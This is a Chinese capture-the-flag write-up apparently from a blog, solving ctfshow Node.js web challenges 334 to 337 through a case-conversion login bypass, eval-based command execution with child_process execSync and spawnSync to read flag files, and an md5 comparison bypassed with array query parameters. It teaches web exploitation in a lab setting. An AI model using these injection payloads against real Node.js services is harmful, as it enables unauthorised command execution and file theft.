ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
竹林81821 小时前
在Web3前端用Node.js子进程批量校验钱包,我踩了这些性能与安全的坑
javascript·node.js
未知鱼21 小时前
Python安全开发之子域名扫描器(含详细注释)
网络·python·安全·web安全·网络安全
志栋智能1 天前
超自动化巡检:应对复杂IT环境的必然选择
运维·网络·安全·web安全·自动化
菜根Sec1 天前
网络安全冬天怎么过
安全·web安全·网络安全·网络安全公司
oyzz1201 天前
Windows 上彻底卸载 Node.js
windows·node.js
小霍同学1 天前
Node.js 起步指南
node.js
德迅云安全杨德俊1 天前
直面 DDoS 威胁:从现状到解决方案
网络·安全·web安全·https·ddos
codingWhat1 天前
用 Express 简单Mock自助终端机读取身份证
node.js·express
小陈工1 天前
2026年3月22日技术资讯洞察:数据库优化进入预测时代,网络安全威胁全面升级
java·开发语言·数据库·python·安全·web安全·django
回到原点的码农1 天前
TypeScript 与后端开发Node.js
javascript·typescript·node.js